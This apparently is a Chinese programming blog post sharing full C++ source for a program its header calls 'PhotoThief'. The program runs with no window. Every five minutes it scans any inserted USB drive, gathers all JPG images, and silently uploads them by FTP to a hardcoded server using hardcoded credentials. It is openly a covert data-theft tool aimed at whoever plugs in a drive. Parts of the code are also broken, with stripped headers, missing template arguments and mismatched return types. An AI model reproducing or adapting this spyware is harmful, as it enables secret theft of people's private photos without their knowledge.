利用WinInet库和STL获取计算机硬盘中的文件并上传到指定FTP服务器

h0945466

　　必备知识：
　　1.WinInet库
　　2.STL
　　/*/////////////////////////////////////////////////////////////////////////////////////////////////////////////
*           AppName:PhotoThief                                                            *
*           Function:Copy photo to FTP server from your usb store   *
*           Author:Zhang Tianxin (swtar@qq.com)                               *
*           Date:2010-6                                                                           *
/////////////////////////////////////////////////////////////////////////////////////////////////////////////*/
　　#include "windows.h"
#include "wininet.h"
#include
#include
#include
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wininet.lib")
using namespace std;
　　//全局函数声明
void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT_PTR idEvent,DWORD dwTime);
void fuFindAllDirectory(const string &szDirectoryName);
BOOL fuFindFileAsExt(const string &szDirectoryName,const string &szFileExt);
BOOL fuUploadFileToServer(const string &szDirectoryName);
BOOL fuIsJpgFile(const string &szFilePath);
string fuMakeDirectoryName(const string &szDrive);
　　//全局变量声明
vector vDrive;
vector vFileList;
const char szUserName[]="XXXXX";
const char szUserPwd[]="XXXXX";                  //用户名和密码当然不能告诉你
　　//主函数
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
SetTimer(NULL,1,300000,(TIMERPROC)TimerProc);
MSG msg;
while(1)   
{
  GetMessage(&msg,NULL,0,0);
  DispatchMessage(&msg);                 
}
return 0;
}
　　//递归查找文件夹
void fuFindAllDirectory(const string &szDirectoryName)
{
string szFindDirectory=szDirectoryName+"*.*";
string szFullPath;
string szFinishedFile;
string szFilePath;
HANDLE hFile;
WIN32_FIND_DATA stWfd;
hFile=FindFirstFile(szFindDirectory.c_str(),&stWfd);
do
{
  if(lstrcmp(stWfd.cFileName,TEXT("."))==0||lstrcmp(stWfd.cFileName,TEXT(".."))==0)
  {
   continue;
  }
  
  if(stWfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
  {
   szFullPath=szDirectoryName+stWfd.cFileName+"\\";
   fuFindAllDirectory(szFullPath);
  }
  else
  {
   szFinishedFile=stWfd.cFileName;
   if(fuIsJpgFile(szFinishedFile))
   {
    szFilePath=szDirectoryName+stWfd.cFileName;
    vFileList.push_back(szFilePath);
   }
  }
}
while(FindNextFile(hFile,&stWfd));
FindClose(hFile);
}
　　//判断找到的文件是不是图片
BOOL fuIsJpgFile(const string &szFilePath)
{
string szFileExt;
char szTemp[MAX_PATH];
ZeroMemory(szTemp,MAX_PATH);
szFileExt=szFilePath.substr(szFilePath.rfind(".")+1);
lstrcpy(szTemp,szFileExt.c_str());
strupr(szTemp);
if(lstrcmp(szTemp,"JPG")==0)
{
  return TRUE;
}
else
{
  return FALSE;
}
}
　　//定时器回调函数
void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT_PTR idEvent,DWORD dwTime)
{
char str[1024];
string szDriveLabel;
PCHAR temp;
ZeroMemory(str,1024);
GetLogicalDriveStrings(1023,str);
temp=(PCHAR)str;
do
{
  if(GetDriveType(temp)==DRIVE_REMOVABLE)
  {
   if(count(vDrive.begin(),vDrive.end(),temp[0])!=0)
   {
    continue;
   }
   vDrive.push_back(temp[0]);
   string szDirectoryName(temp);
   fuFindAllDirectory(szDirectoryName);
   if(!vFileList.empty())
   {
    fuUploadFileToServer(fuMakeDirectoryName(szDirectoryName));
   }
  }
  temp+=(lstrlen(temp)+1);
}
while(*temp!='\x00');
}
　　//生成用于在服务器上创建文件夹的字符串
string fuMakeDirectoryName(const string &szDrive)
{
char szHostName[MAX_PATH];
char szDate[MAX_PATH];
char szIP[10];
char szDriveLabel[MAX_PATH];
ZeroMemory(szDate,MAX_PATH);
ZeroMemory(szHostName,256);
ZeroMemory(szIP,10);
ZeroMemory(szDriveLabel,MAX_PATH);
string szDirectoryName,szTemp,szDriveRoot;
szDriveRoot=szDrive.substr(0,3);
SYSTEMTIME st;
struct hostent* pHostEnt;
//格式化日期和时间
GetSystemTime(&st);
wsprintf(szDate,"%d-%d-%d-%d-%d-%d",st.wYear,st.wMonth,st.wDay,st.wHour+8,st.wMinute,st.wSecond);
szTemp=szDate;
//格式化IP地址
WSADATA wsd;
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
  MessageBox(NULL,"初始化套接字失败","错误",MB_OK|MB_ICONSTOP);
}
if(gethostname(szHostName,sizeof(szHostName))==SOCKET_ERROR)
{
  MessageBox(NULL,"获取计算机名失败！","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
}
pHostEnt=gethostbyname(szHostName);
if(pHostEnt==NULL)
{
  MessageBox(NULL,"获取IP失败！","错误",MB_OK|MB_ICONSTOP);
  return FALSE;
}
wsprintf(szIP,"-%d-%d-",pHostEnt->h_addr_list[0][2]&0x00ff,pHostEnt->h_addr_list[0][3]&0x00ff);
WSACleanup();
szDirectoryName=szTemp+szIP;
//获取卷标
if(GetVolumeInformation(szDriveRoot.c_str(),szDriveLabel,sizeof(szDriveLabel),NULL,NULL,NULL,NULL,NULL)==0)
{
  MessageBox(NULL,"获取U盘卷标失败","出错",MB_OK|MB_ICONSTOP);
}
if(szDriveLabel[0]=='\0')
{
  lstrcpy(szDriveLabel,"可移动磁盘");
}
szTemp=szDirectoryName;
szDirectoryName=szTemp+szDriveLabel;
return szDirectoryName;
}
　　//同步方式上传文件到服务器
BOOL fuUploadFileToServer(const string &szDirectoryName)
{
HINTERNET hFtpServer,hConnecdServer;
vector::iterator it;
string szFileName;
hFtpServer=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,NULL);                    // 初始化 Win32 internet
if(hFtpServer==NULL)
{
  MessageBox(NULL,"初始化WinInet库失败！","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
}
hConnecdServer=InternetConnect(hFtpServer,"192.168.51.3",INTERNET_DEFAULT_FTP_PORT,szUserName,szUserPwd,INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,(long)0);   //打开一个FTP应用会话
if(hConnecdServer==NULL)
{
  MessageBox(NULL,"创建连接失败！","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
}
if(!FtpSetCurrentDirectory(hConnecdServer,"学习任务"))      //设置服务器上当前的工作目录
{
  MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
}
if(!FtpSetCurrentDirectory(hConnecdServer,"维护专用"))
{
  MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
}
if(!FtpSetCurrentDirectory(hConnecdServer,"ztx"))
{
  MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
}
if(!FtpCreateDirectory(hConnecdServer,szDirectoryName.c_str()))       //在服务器上建立一个新的目录
{
   MessageBox(NULL,"在服务器上建立一个新的目录失败","出错",MB_OK|MB_ICONSTOP);
   return FALSE;
}
if(!FtpSetCurrentDirectory(hConnecdServer,szDirectoryName.c_str()))
{
  MessageBox(NULL,"设置服务器上当前的工作目录失败","出错",MB_OK|MB_ICONSTOP);
  return FALSE;
}
for(it=vFileList.begin();it!=vFileList.end();it++)
{
  szFileName=it->substr(it->rfind("\\")+1);
  if(!FtpPutFile(hConnecdServer,it->c_str(),szFileName.c_str(),FTP_TRANSFER_TYPE_BINARY,0))     //发送指定文件到服务器
  {
   MessageBox(NULL,"发送指定文件到服务器","出错",MB_OK|MB_ICONSTOP);
  }
}
return TRUE;
}
　　
这几天要asp.net实训，时间紧，就先写到这里吧，相关功能稍候完善！